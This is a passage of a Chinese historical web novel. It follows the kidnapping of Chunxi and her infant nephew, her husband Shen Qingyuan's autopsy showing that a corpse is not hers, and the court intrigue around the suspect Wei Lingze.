宁氏说着把正儿高高举起,王氏目眦欲裂,急急开口:“好!我去杀了曹春喜,你别伤害他!” 宁氏满意地收回手。 婉儿是喝了她送去的饭菜才死的,曹春喜也要死在自己的亲生母亲手下才行。 没多久,又有人来报:“夫人,人到了。” 彪形大汉把王氏拽起来,王氏有些站立不稳,宁氏摸着正儿的小脸提醒:“我会一直看着你,若是你不敢下手,就给你孙儿收尸吧。” 王氏艰难地咽了口口水,抓紧手里的匕首。 等彪形大汉带着王氏离开后,宁氏厌恶地把正儿丢给另外一个人:“把这个孽种埋了,他吵到我的婉儿睡觉了。” 宁氏根本没有想过要放王氏和正儿走,她要曹家三代给她和婉儿陪葬。 说完这句话,宁氏慢悠悠地跟去欣赏母女相残的好戏,那人则抱着正儿快步走入旁边树林中。 借着夜色掩护,春喜偷偷下了马车,悄无声息地跟上抱着正儿那人。 不远处的溪边,“春喜”在绑匪的胁迫下下了马车。 她戴着一顶纱帽,急切地问:“我娘和小侄儿在哪儿?” 话音落下,王氏领着四五个彪形大汉来到她面前。 “娘,你没事吧?” “春喜”关切地上前,却不料眼前寒光一闪,王氏挥舞着匕首刺向她。 这样近的距离,她又毫无防备,根本不可能躲开。 站在暗处的宁氏勾唇笑起,然而下一刻,“春喜”却极其敏锐地躲开了。 不仅如此,她还飞快地夺过王氏手里的匕首,快准狠地将几个彪形大汉封喉放倒在地。 打斗之间,纱帽落地。 纱帽之下,那张脸和春喜有六七分相似,却不是春喜,而是一个被厚厚脂粉改头换面的少年。 这样的变故在宁氏的预料之外,她几乎发狂。 曹春喜竟然敢戏耍她? 另一边,春喜用袖箭放倒了那个大汉,并及时上前稳稳接住正儿。 正儿受到惊吓,哭得更大声,春喜正要安抚他,一个黑影突然出现抢走了正儿。 黑影伸手扼住正儿的脖子,沉沉开口:“不想这孩子死的话就跟我走。” 春喜毫不犹豫:“我跟你走。” 第210章 本公主觉得她很可疑,带回去 “曹春喜,你给我出来,我要杀了你!” 萧夜辰带着巡夜司的官差赶到时,厮杀已经结束了。 几个亡命之徒皆被那把抹了剧毒的匕首,宁氏被控制住,整个人疯疯癫癫,不断叫嚣着要杀了春喜。 王氏从宁氏的尖叫声中回过神来,她猛然扑向宁氏:“正儿呢,你把正儿弄到哪里去了?” 扮作春喜的少年已经先行在周围查探了一番,回到萧夜辰身边低声道:“阁主,沈夫人和那孩子都不见了。” 萧夜辰眉心微皱:“找人画一幅沈夫人的画像,拓印后分发下去,发动所有关系去找。” “是。” 下面的人动作很快,凌晨就把春喜的画像拓印出来分发下去,然而两天后,巡夜司却说找到了春喜的尸体和曹正的尸体。 尸体是在小溪下游发现的,被浸泡了两日,早就浮肿不堪,根本辨别不出原来的模样。 萧夜辰到巡夜司时,曹武和钱氏已经看过尸体了。 钱氏受不住打击晕死过去,曹武亦是双目赤红、几欲泣血。 他看不出尸体的原貌,只能通过身上的衣服和饰物来判断。 春喜如今的穿戴他不熟悉,但正儿的小衣裳、手上的银手镯还有脖子上的长命锁都是他再熟悉不过的。 曹武心痛到崩溃大吼,萧夜辰只看了一眼,而后径直找到仵作:“身份确定了吗?” “年龄和性别都对得上,看孩子父母的反应应该没错,只是沈大人尚未回京,无法前来辨认。” 其实曹武是春喜的亲大哥,有他辨尸也是可以的,但沈清渊不在,巡夜司还是不敢妄下定论。 萧夜辰对春喜不熟悉,无法做出判断,只能把这件事先告诉萧老夫人。 萧老夫人和萧夫人听到这个消息都是震惊不已。 “辰儿,你确定那具尸体真的是阿喜?” 萧夫人不敢置信地追问。 春喜前不久来萧家还是活力满满的,这才几日,怎会变成这样? 渊儿好不容易才摆脱克妻的名声娶到自己心仪的姑娘,这让他如何接受得了? “从仵作的判断来看,应该八九不离十,但没有人比沈大人更熟悉沈夫人,巡夜司还不敢下定论。” 萧夜辰说完,萧夫人立刻看向萧老夫人。 算算时间,沈清渊也该接到使臣团在回来的路上了,出了这样大的事,陛下应该也会同意他提前赶回。 只是这样的话,难免会耽误正事,这次接待使臣团可是难得的表现机会。 萧夫人还有些纠结,萧老夫人已做出决断:“来人,拿笔墨纸砚,我亲自给渊儿写信。” 萧夫人露出不忍之色,下一刻又听到萧老夫人说:“我不相信巡夜司找到的人真的是阿喜,发动萧家所有人脉,继续暗中找人,凡是有夫妻或是好几个人带孩子在外走动的,都仔细留意。” “是。” 萧夜辰应声离开。 虽然萧老夫人不信春喜会出事,但春喜遇害的消息还是很快传遍瀚京。 恒阳公主第一时间来到巡夜司。 “公主,那尸体都被泡烂了,身上还有好多伤口,下官看了都做了好几日的噩梦,公主还是不要看了吧。” 检使官接到消息第一时间赶来阻拦。 恒阳公主这么尊贵娇气的人,怎么能去停尸间那么晦气的地方呢? 恒阳公主冷着脸反问:“那尸体都被泡烂了,你怎么确定那就是沈清渊的夫人?” “下官也没说一定是,只是那尸体上穿的戴的都是沈夫人之物,还有个小孩儿……” 恒阳公主直接打断他:“你既然还不确定那两具尸体是不是沈夫人,为什么不派人继续找人?现在全城都在传她被害死了,这些谣言你也不管不问?” 恒阳公主一声比一声高,检使官额头冒出汗来。 这以讹传讹的人那么多,他上哪儿去管啊,而且巡夜司确实是找到了一大一小两具尸首,现在他说是谣言,以后真的证实了又该怎么办? 检使官一时不知该怎么回答,又听到恒阳公主问:“莫家其他人都查了吗?” “回公主,莫二夫人已经认罪了,是她因为女儿的死恨毒了沈夫人,所以暗中策划了绑架,莫家其他人并不知情。” “她说只有她自己你就信了?她天天谋划着要杀人,莫家当真没有一个人发觉异常?” “这……” 检使官不敢保证,刚说了一个字,就听到恒阳公主说:“我与沈夫人已义结金兰,如今她出了事,沈清渊还不在,本宫必须为她做主,带上你的人跟本公主去莫家,当着本宫的面再问一遍。” 恒阳公主这语气不像是去莫家问话,倒像是要去抄家。 检使官皱着眉提醒:“公主,已经问过一次话了,这好像不妥吧。” “有什么不妥的,难道还要本公主进宫问皇兄求了旨意才行?” 恒阳公主态度强硬,检使官犹豫再三,还是带上人跟着她去了莫家。 说来也巧,一行人到莫家时,正好碰上了沈清迟。 沈清迟听到春喜的死讯并没有想象中的开心,反而怔愣了好久,她还有些不敢置信,想来莫家再问些细节,却没想到一下马车就碰到了气势汹汹的恒阳公主。 沈清迟心里“咯噔”了下,却还是镇定地上前向恒阳公主行礼:“见过公主。” 恒阳公主对她有些印象,蹙着眉上下打量了她一番问:“你来这里做什么?” “回公主,这是臣妇的外祖家。” “所以呢,你来干什么?” 恒阳公主语气不善,满是狐疑,沈清迟呼吸滞了滞,小声道:“臣妇听说二舅母出了事,所以来看看。” “你大嫂可能被残忍杀害了,你不担心你大嫂是死是活,反而跑来关心凶手,关键凶手这会儿还被关在牢里,这里有什么值得你看的?你一个孕妇也不怕沾染上点儿什么?” 恒阳公主一句接着一句,不等沈清迟想好该怎么回答又偏头对检使官说:“本公主觉得她很可疑,把她带回去好好审问。” 检使官:“……” 沈清迟:“……” 第211章 我要查卫凌泽 恒阳公主亲自坐镇,把莫家上上下下审了个鸡犬不宁。 萧清禾也在听说春喜的死讯后,第一时间出府去了无忧阁。 “贵客怎么突然来了?” 看到她,岚舒很是意外。 萧清禾压着急切柔声道:“我有点事,来找你们阁主。” “真是不巧,我们阁主这会儿不在,”岚舒叹息着摇头,萧清禾眉心微皱,正想离开,又听到岚舒说,“贵客若是想问沈夫人的事,我也知道一二,我这就派人去寻阁主,贵客可以边听我说边等阁主。” “我不能在这里待太长时间,你们阁主能在一炷香之内回来吗?” 岚舒弯眸,笑得像只狐狸:“当然能,贵客来访,我们阁主自然会想办法长出翅膀飞回来。” 萧清禾一心想着春喜的事,没有听出岚舒话里的戏谑,她点点头,跟着岚舒去到雅间。 岚舒把前因后果都跟萧清禾说了一遍,最后总结道:“那天接到沈夫人的消息,我便精心挑选了和沈夫人身形最相像的人假扮成她,阁主更是亲自带人暗中前往,当时的情况虽然混乱,但将沈夫人带走的,并不像是那位莫二夫人的人。” 岚舒并没有说巡夜司找到的尸体就是春喜,只说春喜是被带走了。 萧清禾的眉头皱得更紧,她还想追问细节,这时房门被推开,萧夜辰走了进来。 萧夜辰走得很急,胸口微微起伏着,墨发也因为推门时的风晃动了下。 岚舒勾唇,冲萧清禾挑眉:“贵客您看,我们阁主确实很快,对吧。” 这话听着有点奇怪,但萧清禾想着岚舒刚刚的话,并未多想,只歉然对萧夜辰道:“贸然前来,实在唐突,还请阁主恕罪。” “无妨,”萧夜辰深吸两口气平复了呼吸,大步走过来,“大小姐什么时候来找我都是可以的。” 说着话,萧夜辰恶狠狠地瞪了岚舒一眼,暗示他正经些,不要在这种时候说些不着调的话。 岚舒也不敢当着萧夜辰的面放肆,果断起身:“阁主和贵客要商议要事,我出去守门。” 不等岚舒退出房间,萧清禾便按捺不住问:“小婶婶当真死了吗?” 萧清禾满脸关切,分明是接受不了春喜的死,萧夜辰抿了抿唇说:“我方才回了趟萧家,老夫人觉得这其中有些蹊跷,已下令让萧家发动所有人脉寻找沈夫人,无忧阁上下也会帮着找人。” “祖母觉得小婶婶没死?” 萧清禾在惊讶之后生出希望。 小婶婶不是一般女子,回门那日发生骚动,小婶婶能迅速冷静下来应对,后来更是随沈叔叔去过徐州历练,这次被宁氏算计,她也能想到让无忧阁的人假扮她前往,她不会轻易被人害死的。 萧清禾在心里安慰了自己几遍,再次抬眸,整个人镇定不少。 她拿出一沓银票递给萧夜辰:“沈叔叔现在还没回来,小婶婶又出了事,我担心侯府的人会趁机去新宅抢夺财物,我和萧家都不方便出面插手此事,我想请你挑一些身手高强的人扮作护院帮小婶婶守着。” 查案的事萧清禾帮不上什么忙,只能在这方面尽自己的一点力。 萧夜辰看都没看那些银票,直勾勾地看着萧清禾的眼睛说:“萧家对我有再造之恩,大小姐要我办事直接吩咐就好,用不着这样。” 萧清禾摇头道:“你祖父对我祖父忠心耿耿,后来是因我祖父离世,家中更是因此受到牵连,萧家养你是应该的,你不欠萧家什么,而且因为我的关系,卫凌泽盯上了你和无忧阁,以后可能会给你添很多麻烦,你若不拿着这些钱,我就只能找别人帮忙了。” 萧清禾说着收回银票便要起身,萧夜辰急急开口:“等等!” 说话的同时,萧夜辰忍不住抓住了萧清禾的手腕。 今天是阴天,外面刮着风,萧清禾的手有点凉,手腕很细,也很软,但肌肤很细腻。 萧夜辰脑子一白,根本来不及过多感受,就像是被火灼烧一般收回了手:“抱歉,我不是故意冒犯,这钱我可以收,你不用找别人。” 萧夜辰语速很快,脑袋也低下去,像是犯了错的小孩儿,不敢看萧清禾的眼睛。 萧清禾腕间残留了一点他掌心的温度,但她并未觉得冒犯,把银票放回桌上,柔柔道:“其实我不只想让你帮忙派人守着小婶婶的家产,还想让你帮我查一下卫凌泽。” 萧夜辰眸光微闪,冷声追问:“查什么?” 萧清禾抿了抿唇,片刻后道:“我想查他和小婶婶的失踪有没有关系。” 萧夜辰猛然握紧拳头,他很好地克制住了胸腔翻涌的情绪,并未在萧清禾面前露出异样,只郑重道:“大小姐放心,我会帮你查清此事,也会帮你保密。” 最后一句话正是萧清禾心中所想,她有些惊讶萧夜辰的贴心,颔首恳切道:“多谢。” 萧清禾走后,岚舒摇着扇子进到屋里,见桌上有钱,他故作惊讶:“这位贵客只是来打听了点儿事,什么都没干呢,阁主你竟然收人家这么多钱,未免也太黑心了吧?” 嘴上说着黑心,岚舒的手却已朝那些银票伸去,萧夜辰先一步抢走银票塞进怀里,冷冷吩咐:“挑几个身手高强的生面孔送去沈宅,若是有人要去抢财产,立刻通知我,还有,让人盯紧卫凌泽,不管他做了什么,事无巨细都要跟我说。” 岚舒玩味地盯着萧夜辰:“阁主,这进了无忧阁的每一笔钱可都是要记入账册的,你收了钱,这算是无忧阁的生意还是你个人的私事啊?” 萧夜辰恨不得用眼刀子把岚舒扎成筛子,他没好气道:“明日我会把钱给你。” “小人明白了,”岚舒点点头,摇着扇子退出房间,在踏出门口那一刻又补充了句,“被贵客经过手的银票已经不是普通的银票了,是阁主的珍藏之物。” 嘭! 话音刚落,一个茶壶挟裹着杀气砸来,岚舒虽然及时躲开,还是被溅了一身的泥。 他啧啧摇头。 哎呀,玩过了,这几日他还是躲着阁主些吧。 与此同时,瞿县驿站,沈清渊收到了萧老夫人的传信。 第212章 沈清渊亲自验尸 使臣团进京是大事,附近几个县组织了很多壮劳力,不过五日就把路疏通了。 沈清渊早早地和使臣团的人汇合,若无意外,今日本该回到京里的,但使臣团的人有些水土不服,收到萧老夫人传信四日后,沈清渊才陪着使臣团一起返回瀚京。 城门早就开了,百姓接到告示在道路两边夹道欢迎,御史台和礼部的官员前来迎接。 人群中,沈清渊一眼就看到了卫凌泽。 他复了职,穿着专属于金吾卫的银鱼服,一条银色腰带束出腰身,一把横刀斜插在腰后,骑着高头大马,虽然在一众文官之后,却是威风凛凛,叫人不能忽视。 礼官核对了通关文书、使臣团的人数、车马数量还有贡品数量以后,众人便带着使臣团朝着皇宫的方向缓缓而去。 卫凌泽没有动,等使臣团的车马驶过了才策马来到沈清渊面前。 “沈夫人遇害,陛下体恤沈大人连丧三妻,恩准沈大人不用进宫复命,可直接回去处理家事。” 众目睽睽之下,卫凌泽的声音不大,但语气里是很明显的得意。 他已然复职,可以借着接待使臣团一事在陛下面前好好展现自己,而沈清渊痛失往上爬的机会,还要再次面临丧妻带来的克妻传言。 两相对比,他赢得彻底。 这般想着,卫凌泽忍不住勾唇,沈清渊却没有露出任何痛苦不甘之色。 他只是深深地看了卫凌泽一眼,然后策马离开。 沈清渊的反应没有让卫凌泽爽到,但很快他又高兴起来。 不急,这只是个开始,以后他有的是机会把沈清渊踩在脚下! 沈清渊没有回家,而是直接去了巡夜司。 听到他来,检使官第一时间赶来迎接:“沈大人,你可算回来了,虽然现在天气比较凉爽,但那两具尸体在水里泡了两天,实在难以保存,眼下已经臭了。” 说句不好听的,沈清渊要是再不回来,都得长蛆了。 检使官说完胃里都是一阵翻涌。 沈清渊并未多话,径直去了停尸间。 整个停尸间早就充斥着臭味,把守的人全都躲得老远。 沈清渊只用汗巾蒙住口鼻,便推开停尸间的门走了进去。 检使官本想跟进去,但那臭味很容易就穿透遮挡物钻入鼻尖,他才跟了两步,就忍不住倒回来吐了。 沈清渊在停尸间待了足足一个时辰才出来。 检使官强忍着不适上前问:“沈大人,是吗?” “不是,”沈清渊摇头,语气和表情都很坚定,“这具女尸的骨架比内子的小,且生过孩子,她的脏器有病变的情况,应是患有痨病。” 尸体被泡过,又放了这么多天,验尸难度很大,所以沈清渊才会在里面待这么长时间。 检使官对这个结果很是意外,他连忙追问:“那那个孩子呢?” “也不是。” “为何?沈大人又发现什么依据了吗?” “并无依据,只是直觉,”沈清渊摇摇头,眼神笃定,“内子既然还活着,便不会允许任何人伤害那孩子。” 沈清渊冷静得可怕,全然不知自己被尸臭腌入了味儿,检使官只说了这么几句话,便又控制不住趴到一边吐了个天昏地暗。 好不容易吐完,他不敢再靠近沈清渊,白着一张脸问:“到底什么人会这么大费周折掳走沈夫人和那孩子,沈大人可有怀疑的对象?” 沈清渊脑海里浮现出卫凌泽得意又张狂的脸。 但他没有直接说出来,只冷声道:“此案已牵扯了近十条人命,内子如今还生死未卜,这不是巡夜司能办下来的案子。” 检使官正愁这案子不好破呢,听到沈清渊的话当即道:“沈大人说的是,此案扑朔迷离,确实不是下官能破的,下官这就上报,请京兆府,不,请大理寺彻查此案!” 能把烫手山芋扔出去,检使官几乎要忍不住喜上眉梢,但对上沈清渊冷冰冰的脸,又生生忍下。 “对了,沈大人,还有一件事要请你定夺。” “你说。” “恒阳公主听闻沈夫人的死讯后,去莫家闹了一通,正好碰到令妹去莫家,公主硬说令妹有问题,让下官把人带回来关着,现在是放还是不放啊?” 沈清渊没说放还是不放,只道:“公主做事自然有她的道理。” 检使官了然,立刻道:“那下官到时一并移交大理寺!” 从巡夜司出来,沈清渊这才回家。 家门口,沈家众人正和阿鲤还有府里的护院对峙着。 看到他回来,沈家众人立刻迎上来,但在闻到他身上的味道后,又都捏着鼻子退开。 “渊儿,你这身上什么味儿啊,不会是掉粪坑里了吧?” 沈金花皱紧眉头一脸酱色,沈家其他人也都是跟吃了屎一样。 沈清渊没有回答,掀眸看向阿鲤,阿鲤立刻说:“大人,他们非要到府里帮忙布置灵堂,我们不让他们进,他们就要闹事。” “你这小屁孩儿怎么说话呢,谁是他们?我们是你家大人的亲伯父和亲姑姑,他不在的时候家里出了大事,我们做长辈的帮忙操持一下那是为他好!” 沈家二叔张口就骂,其他人也要跟着附和,然而还没开口就被沈清渊打断:“谁让你们来的?” “我们都是自愿来帮忙的,外面早就传开了,曹春喜被你二舅母雇人杀了,你们新婚才几个月,渊儿你一时接受不了也很正常,但这尸体再放下去就要烂了,我们可以帮你操持,让曹春喜风光下葬。” “等她下了葬,渊儿你还是搬回侯府住吧,你都克死三任妻子了,年纪也大了,想要再娶恐怕也不容易,回家里住好歹相互有个照应。” “你这是说的什么话,渊儿如今是三品大员,即便是克妻,那也不缺姑娘愿意嫁,我明日就能帮他说上小姑娘,保证比曹春喜强十倍百倍……” 一群人你一句我一句地说着,正热火朝天,突然听到沈清渊沉声喝道:“来人,把他们绑了扭送大理寺!” 众人:“……”??? 绑谁?去哪儿? 第213章 这辈子你都只能是我的人 闹着要给春喜办丧事的沈家人有一个算一个,全都被送去了大理寺,连在家里观望的沈清越和沈清宇都被带去了大理寺问话。 众人都是一头雾水,直到进了讯问室,被问了好些个关于萧氏嫁妆的问题,众人才反应过来,沈清渊这是怀疑他们为了抢夺财产,参与了谋害曹春喜这件事呢。 这人是真的六亲不认啊。 进了一趟大理寺,沈家众人全都老实下来,再不敢打沈清渊的主意。 他们是想要钱,但也要有命花才行。 巡夜司找到的尸体并不是春喜的,案子从巡夜司移交到了大理寺,这个消息一传开,不管是世家大族还是寻常百姓都炸开了锅。 这位沈夫人不是出身平平吗,怎么会有人如此大费周章地制造她假死的假象偷偷把人带走,这人是图什么呢? 难道是想利用曹春喜威胁沈清渊做什么事? 那直接把人绑走就好了,为什么还要找来一大一小两具尸体伪造假死的情况呢? 这事太过匪夷所思,一时间倒是压过了使臣团进京一事,成为所有人茶余饭后的谈资。 卫凌泽这两日忙着接待使臣团,还没来得及听到风声,好不容易休沐回家,就被卫父叫到书房质问:“曹春喜的失踪跟你有没有关系?” “曹春喜不是死了吗,爹你怎么突然问这种问题?” 卫凌泽疑惑,卫父加重语气:“大理寺已经重新查验过了,那具女尸不是她,有人伪造了她死亡的假象,我就问你这件事是不是你做的?” 说到最后,卫父几乎压不住心底的火气。 曹春喜出身平平,嫁给沈清渊这几个月行事虽然有些叛逆高调,得罪了不少人,但仇家要杀她可以理解,这么大费周章用假死迷惑众人把她掳走的,实在叫人浮想联翩。 卫凌泽皱眉,表情只有疑惑,并无慌张,他摇头道:“这件事跟我没有关系。” “这里没有外人,你若是做了,就直接跟我坦白,我还能想办法帮你把这件事圆过去,你若是连我都骗,日后若是被大理寺查到,别怪卫家不保你!” 卫父的表情和语气都是难得一见的严肃,卫凌泽握紧拳头,还是那句话:“儿子没做就是没做,爹不管再问多少遍都是如此。” 卫凌泽的语气坚定,不像是在撒谎,卫父的表情缓和了些,他点点头道:“你没有犯糊涂就好,最近大理寺会全力调查这件事,你把心思都花在使臣团上面,少去沈清渊面前晃悠。” 这是要他躲着沈清渊的意思。 卫凌泽听不得这话,想要反驳,又听到卫父说:“你和禾儿成亲也快一年了,早点儿把感情修补好要个孩子,不然时日一长,难免会有闲言碎语出来。” “好。” 从书房出来,卫凌泽去了凌枫院。 凌枫院里,萧清禾也听说了春喜没死的消息,压在心里好些天的沉痛不安终于消散,她让人去厨房点了两样自己喜欢吃的菜,又和雀枝一起把几个月前埋的桃花酿挖出来准备庆祝一番。 卫凌泽到时,看到的便是萧清禾挽着袖子拿着锄头在院子里卖力挥舞的场景。 眼前的萧清禾和他记忆中矜贵端方的小姑娘相差甚远,甚至有两分和春喜重合,热烈且蓬勃。 卫凌泽看得晃神,一时有些分不清眼前的人究竟是谁。 一小坛子酒很快挖出来。 小心地揭封,馥郁的酒香立刻溢出,萧清禾惊喜地笑起。 这是她第一次尝试酿酒,没想到真的成功了。 不过在发现卫凌泽站在院门口后,萧清禾脸上的笑立刻消散无踪。 她让雀枝把酒抱进屋里,洗了手,放下袖子,又恢复平日端庄矜持的模样才走到卫凌泽面前:“有事吗?” 萧清禾的语气很冷淡,不像是对自己的夫君,更像是面对仇人。 卫凌泽瞬间清醒过来,不答反问:“我是你的夫君,没什么事我就不能来看你吗?” 不是不能来,就是挺扫兴的。 萧清禾在心里回答,面上却是不显。 卫凌泽才见识了她明艳鲜活的一面,便觉得她现在的冷淡格外刺眼,忍不住问:“你刚刚在高兴什么?” 萧清禾横了他一眼,淡淡道:“我听说巡夜司找到的尸体不是小婶婶,小婶婶还活着,我为她高兴,想要庆祝一下。” “这有什么好庆祝的,就算尸体不是她,那也不代表她能被找回来。” 卫凌泽毫不犹豫地泼冷水。 萧清禾盯着他看了一会儿反问:“你怎么知道小婶婶找不回来?你难道知道小婶婶在哪儿?” 萧清禾眸底的怀疑和卫父如出一辙,这刺痛了卫凌泽,他冷笑出声:“怎么,高高在上的萧家大小姐,难道觉得自己还比不上一个粗鄙鲁莽的曹春喜?” 卫凌泽话里满是讥讽,既贬低了春喜,也讽刺了萧清禾。 萧清禾却并未觉得屈辱难过,反而点点头,坦诚道:“我确实比不上小婶婶,若是我能有小婶婶那样清醒果断,就不会走到今天这一步了。” 这话让卫凌泽想起春喜离开卫家时的绝决,他面色一沉,又想动手,萧清禾抢先提醒:“卫凌泽,你若想再尝尝停职的滋味儿,就动我一下试试!” 卫凌泽动作一滞,半晌,他收敛了怒气,伸手摸了摸萧清禾的头:“禾儿,我知道你后悔了,但你已经是我的妻了,只要我不松口,这辈子你都只能是我的人。” 丢下这句话,卫凌泽扬长而去。 萧清禾有种被毒蛇缠上的恶心,她蹙眉唤道:“雀枝,准备热水,我要沐浴。” 卫凌泽回到自己的住处,进屋后,行舟上前低声道:“少爷,有你的信。” 说着话,行舟递来一张细长的纸条,上面没有文字,只有乱七八糟的图案,除了卫凌泽,谁也看不懂。 卫凌泽看完将信纸烧掉,冷着脸提笔回了一封。 看着信鸽飞走,卫凌泽唇角勾起一抹冷笑。 小婶婶,你不是挺能跑的吗,断掉一条腿我看你还怎么跑。 第214章 叔,你真像我爹 深夜,云州境内,远离官道的一处小溪边。 正儿又拉了,林豹正抱着孩子在溪边洗屁屁,林虎则拿着树杈子在溪里插鱼。 他的眼力极好,出手也准,没一会儿就插上来七八条鱼。 “虎叔,差不多够吃了,您快上来暖暖身子吧。” 岸边,春喜一边招呼一边利落地将这些鱼开膛破肚清洗干净。 林虎默不作声地回到岸上,坐到火堆边烤火。 春喜用树枝把鱼穿好,插到火堆边烤着,又从旁边采了一些野草烧掉把草灰融在水中,沉淀一会儿后,再把那些水倒出来,浇到鱼身上。 春喜原本的衣服被换到了那具女尸身上,这会儿穿的是和林虎他们一样的粗布短打,做男子打扮。 风餐露宿地赶了几日的路,春喜黑了不少,也憔悴了不少,但一双眼睛还是亮闪闪的,尤其是弄食物的时候,满眼都是对食物的渴望。 林虎干这行也算是见多识广,但从没见过她这么嘴馋又心大的姑娘。 浇完草灰水,春喜又拿了一颗白天没吃完的野果掰开,把汁水抹在鱼身上。 林豹抱着孩子回来,见她这样忍不住问:“阿喜丫头,你这又是干啥呢?” 春喜立刻解释:“豹叔,我发现河边长了一种叫盐蒿的草,烧完后的灰在水里泡一泡,就会有一点咸味,还能让鱼的肉质变得软嫩,再加上野果汁,就能去腥,这是我爹教我的秘方,我爹以前是镖师,走南闯北的见识可多了,我还知道另外一种……” 这几日晚上都是春喜帮忙弄的吃的,野外条件有限,春喜做出来的东西不说多让人惊艳,但也比他们两个糙老爷们儿做的好吃多了。 林豹对春喜的戒备放松了很多,听到春喜说起她爹,有些好奇:“你爹以前是镖师啊,哪个镖局的,都去过什么地方,说不定咱们还……” “咳咳!” 林虎轻咳两声打断林豹,同时给了他一记眼刀子。 林豹连忙噤声。 他们现在是绑匪,绑的还是朝廷三品大员的夫人,被抓到可是要砍头的,断不能被这小妮子叫两句叔给迷惑了。 林豹挨着林虎坐下,怀里的小孩儿又不安分地伸手来抓他的胡须。 这几日没喝奶,小孩儿瘦了些,但好在体质不错没有生病,精神也还不错,相处了几天,小孩儿跟他熟悉起来,也不怕他了,不是揪他的胡须,就是挠他的脸,偶尔还要滋他一身的尿。 “小屁孩儿,再抓我的胡须我就砍了你的手!” 林豹瞪着眼睛,恶声恶气地威胁,小孩儿没被吓到,反而咯咯地笑出声来。 他们还要靠这小孩儿拿捏春喜,自然不会拿这小孩儿怎么样。 林豹的胡子被揪疼,索性把小孩儿塞进林虎怀里。 林虎不苟言笑,一身气势比林豹要冷很多,小孩儿到他怀里倒是安分了很多,眨巴着眼睛好奇地看着林虎。 林虎没有林豹脾气好,扣着小孩儿的脑袋摁在胸膛。 “咿呀~” 小孩儿扑棱着手和腿发出不满的抗议,林豹看了会儿热闹,见小孩儿要哭了,又伸手把人拎出来:“看到没有,你再乱动,你虎叔就闷死你信不信?” 小孩儿听不懂这些,但明显更喜欢他,伸出小手要抱抱。 林豹眸子一软,把小孩儿抱进怀里。 这时鱼香味儿传了出来。 春喜更加勤快地给鱼翻面,等两面都烤得金黄流油,选了两条相对大一点儿的递过来:”烤好了,虎叔、豹叔快趁热尝尝。” 林虎接过鱼闷不做声地吃起来,林豹吃了一口眼前一亮,立刻夸赞:“还真挺好吃的,你这法子可以啊。” 春喜抬抬下巴,得意又骄傲:“这是自然,我爹教我的秘方,一般人我可不会说。” 干他们这行的,风餐露宿、刀口舔血是常事,但这几日跟春喜待在一起,竟然有了一种安稳过日子的感觉。 要是家里没出变故,他和虎哥的女儿也该有这么大了。 林豹心头一软,不免多话:“你一个镖师的女儿是怎么嫁给三品大员的?” “这话说来就话长了。” 春喜从林豹怀里接过正儿,撕掉鱼皮,挑了最嫩的部位喂给正儿吃,一边喂,一边说起曹父死后自己这些年的经历。 春喜幼时最爱听曹父和镖局那些叔叔伯伯们走南闯北的奇遇,如今讲起故事来也很吸引人。 林豹一开始还能专心吃鱼,听到春喜卖身进卫家后,被掌事的暗中刁难使绊子,不由得义愤填膺:“他大爷的,一个屁大点儿的管事说到底也就是个奴才,竟敢如此嚣张跋扈,要是换做老子,一刀就劈了他!” 春喜顿时露出感动的神色:“豹叔,你这样子好像我爹啊。” “我要是你爹,早就杀进那劳什子卫家去了。” 林豹毫不犹豫地回答,见他吃完一条鱼,春喜又递了一条过来。 林豹吃了一口,突然有些不是滋味儿。 这小妮子的爹要是还在世,知道自己女儿和孙子被绑架,肯定会联合道上的兄弟不顾一切地找来,才不会让他们这么欺负呢。 春喜倒是并不伤感,继续说自己在卫家的事。 刚进府那两年,她不懂人情世故,的确吃了不少亏,但吃一堑长一智,慢慢的她就学会了看人脸色,见机行事,加上有新人进府,日子就渐渐好过起来,但没多久,卫凌泽就受伤瘫痪了,她没钱疏通,只能被调去伺候。 听到卫凌泽受伤后暴虐成性、随意打杀下人,林豹更生气了:“这劳什子大少爷怎么没死在战场上,打伤他的又不是府里的下人,他却只会拿下人撒气,他就算再也站不起来,也还有一群人伺候着呢,又没有把他丢到大街上让他靠乞讨为生,他有什么好承受不住的?” “做奴才的都是贱命,人家多赔一些钱,就不会有人说什么,多亏了我爹一直在天上保佑我,我不仅没有死在大少爷手里,还拿了一笔钱离开了卫家,遇到了疼我爱我的夫君。” “不过我夫君也是命途多舛之人,他年幼丧母,虽然十七岁就高中状元,却在继母的暗中使坏下,娶了两任短命的娘子,后来又娶了出身不好的我做续弦,如今我出了事,他这克妻的名号怕是再也摘不掉了。” 春喜之前语气都挺轻快的,直到说起自己的夫君,才露出伤心难过。 林豹看着手里的半条鱼,彻底吃不下去了。 这官家夫人不该个个养尊处优,和当官的沆瀣一气吗,这个小妮子和她夫君怎么一个比一个可怜,可怜到他都觉得自己有点儿十恶不赦了? 第215章 掘了她的坟扬了她的骨灰 春喜拉着豹叔说了大半夜自己的事。 第二天还想撑着早起弄点儿早饭表现一下,一睁眼就见林虎站在自己面前。 天还没有大亮,林虎高壮的身躯往这儿一杵,跟来索命的黑白无常一样。 春喜吓得一个激灵,她刚想叫虎叔,就见林虎举起了一根木棍。 “啊啊啊!!!” 春喜爆发出尖叫,同时飞快往旁边一滚,躲开了那重重挥下的棍子。 木棍落在鹅卵石地面,鹅卵石被打得飞溅,那木棍也跟着断裂,木屑翻飞。 春喜后背发凉,不敢想象那一棍如果落在自己身上会有什么样的后果。 林豹被惊醒,瞬间从地上跃起,拔出腰间长刀,趴在他怀里睡得香甜的正儿也被吓得哇哇大哭起来。 环顾四周,并未有人偷袭,林豹看看林虎又看看春喜,一脸疑惑:“大哥,发生什么事了,你打阿喜做什么?” 昨夜春喜说了自己从大到小的经历,又一直说林豹很像自己的爹,林豹不免对春喜多了两分怜惜,连称呼都变得亲近起来。 林虎丢掉断裂的棍子,从地上捡起一块鹅卵石走向春喜:“雇主来信,要打断你的一条腿,免得你耍花样逃跑。” 林虎说着举起鹅卵石便要砸下,春喜嗷一嗓子哭出来:“豹叔,救命啊!” 林豹挡到春喜面前:“大哥,这小妮子一路上都很听话,她侄儿还在咱们手上呢,她不会逃跑的。” 林虎并没有把林豹的话听进去,冷冷命令:“让开!” 不等林豹有动作,春喜一把抱住他的腿哀嚎:“豹叔,我不想变成瘸子,我真的会乖乖听话不会乱跑的,求你救救我!” 春喜一哭,正儿哭得也更大声了。 林豹被这一大一小哭得心神不宁,忙又开口:“大哥,你要是打断她的腿,也会拉低咱们的速度,万一引起别人怀疑连累我们被抓怎么办?” 听到会影响他们的安全,林虎的动作一顿,而后冷声道:“雇主说了,她很狡猾,一不留神就会跑掉,干我们这行的,拿了钱就得办事,不能坏了行规。” 